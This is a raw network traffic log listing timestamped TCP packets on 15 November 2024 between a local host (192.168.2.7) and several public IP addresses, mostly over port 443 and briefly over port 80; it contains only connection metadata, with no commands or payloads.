Nov 15, 2024 09:55:38.616271019 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.616282940 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.616364002 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.616955042 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.617007971 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.617522001 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.617528915 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.666424036 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.667458057 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.667488098 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.668057919 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.668062925 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.683522940 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.683573961 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.683649063 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.683666945 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.687446117 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.688348055 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.688373089 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.696609974 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.696763992 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.696791887 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.705014944 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.705195904 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.705225945 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.713788986 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.713857889 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.713881016 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.722815990 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.722886086 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.722913980 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.743262053 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.743341923 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.743396997 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.743837118 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.743860006 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.743892908 CET	49895	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.743900061 CET	443	49895	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.749140024 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.749193907 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.749526978 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.751703978 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.751720905 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.759692907 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.759769917 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.759855986 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.759884119 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.759907961 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.759994984 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.760798931 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.760813951 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.766855001 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.766897917 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.767023087 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.767199039 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.767215014 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.797554970 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.797646046 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.797697067 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.802081108 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.802123070 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.802150011 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.802155972 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.802191019 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.802212000 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.802948952 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.803010941 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.803020954 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.807436943 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.807487011 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.807502985 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.816365957 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.816411972 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.816431046 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.824873924 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.824938059 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.824963093 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.827369928 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.827413082 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.827435017 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.827440977 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.833534956 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.833725929 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.833741903 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.844106913 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.844223976 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.844238997 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.851047993 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.851105928 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.851124048 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.858465910 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.859798908 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.859849930 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.859863043 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.868544102 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.868642092 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.868654966 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.876662970 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.876727104 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.876744986 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.882172108 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.882220030 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.884259939 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.884346008 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.884454966 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.884481907 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.894906998 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.894982100 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.895008087 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920634985 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920681000 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920698881 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.920717955 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920757055 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920798063 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.920808077 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.920845985 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.921129942 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.922708035 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.922739029 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.922807932 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.922822952 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.922990084 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.922995090 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.923010111 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.926259995 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:38.926289082 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:38.927221060 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.932102919 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.932135105 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.932215929 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.932234049 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.932254076 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.932277918 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.932291985 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:38.932389975 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.933449030 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.933482885 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:38.933672905 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.933794022 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.933808088 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:38.933824062 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:38.933845043 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:38.937024117 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.941726923 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.941775084 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.941822052 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.941848040 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.941976070 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.946335077 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.951257944 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.951293945 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.951330900 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.951343060 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.951378107 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.955857038 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.960731983 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.960788965 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.960897923 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.960926056 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.963960886 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.965435982 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.971615076 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.971654892 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.971712112 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.971740007 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.971780062 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.975601912 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.979794025 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:38.980266094 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:38.980277061 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.980319977 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.980334997 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.980362892 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.980418921 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.984472036 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.989413977 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.989451885 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.989464998 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.989494085 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.992475986 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.994194984 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.999011993 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.999047995 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:38.999126911 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:38.999154091 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.000531912 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.003725052 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.008534908 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.008575916 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.008625031 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.008652925 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.008718967 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.013478041 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.018003941 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.018049955 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.018068075 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.018088102 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.018132925 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.022768974 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.026961088 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.027004004 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.027026892 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.027045012 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.027091980 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.031471014 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.036012888 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.036061049 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.036106110 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.036129951 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.036323071 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.039140940 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.039175034 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.039203882 CET	49876	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.039211035 CET	443	49876	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.040174961 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.044631004 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.044665098 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.044723034 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.044748068 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.044815063 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.067189932 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.067286015 CET	443	49890	142.250.186.65	192.168.2.7
Nov 15, 2024 09:55:39.067441940 CET	49890	443	192.168.2.7	142.250.186.65
Nov 15, 2024 09:55:39.122519016 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.122571945 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.122805119 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.124445915 CET	49907	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.124466896 CET	443	49907	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.192265034 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.195926905 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.195949078 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.196466923 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.196472883 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.222182035 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.236854076 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.236874104 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.237663031 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.237669945 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.260230064 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.260287046 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.260375023 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.260771990 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.260782003 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.314548016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:39.314620972 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:39.324606895 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.324688911 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.324794054 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.361440897 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.361522913 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.361589909 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.387989044 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.388019085 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.388034105 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.388041019 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.390964985 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.390997887 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.409341097 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.409390926 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.409934044 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.415833950 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.415862083 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.418076992 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.418119907 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.418286085 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.418723106 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.418732882 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.431668043 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.431723118 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.431828022 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.432574987 CET	49912	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:39.432588100 CET	443	49912	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:39.470783949 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.470829010 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.470899105 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.471805096 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.471822023 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.479980946 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.480721951 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.480751991 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.481232882 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.481242895 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.489983082 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.491761923 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.491781950 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.492892027 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.492901087 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.543004990 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.543320894 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.543339014 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.543834925 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.544327974 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.544342995 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.544367075 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.544425964 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.545377016 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.545428038 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.546200991 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.546267033 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.546730042 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.546829939 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.546834946 CET	49906	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.546844959 CET	443	49906	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.546989918 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.546998978 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.611032009 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.611064911 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.611109018 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.611148119 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.611186028 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.611622095 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.611643076 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.611653090 CET	49902	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.611660004 CET	443	49902	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.618222952 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.618280888 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.618350983 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.618539095 CET	49914	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.618551970 CET	443	49914	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.619224072 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.619414091 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.619599104 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.619599104 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.619863033 CET	49903	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.619880915 CET	443	49903	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.622174025 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.622214079 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.622374058 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.622493029 CET	49915	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.622504950 CET	443	49915	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.671659946 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.673779011 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.673805952 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.674546957 CET	49904	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:39.674551964 CET	443	49904	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:39.674988985 CET	443	49905	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:39.676649094 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.676945925 CET	49905	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:39.676973104 CET	443	49905	162.159.61.3	192.168.2.7
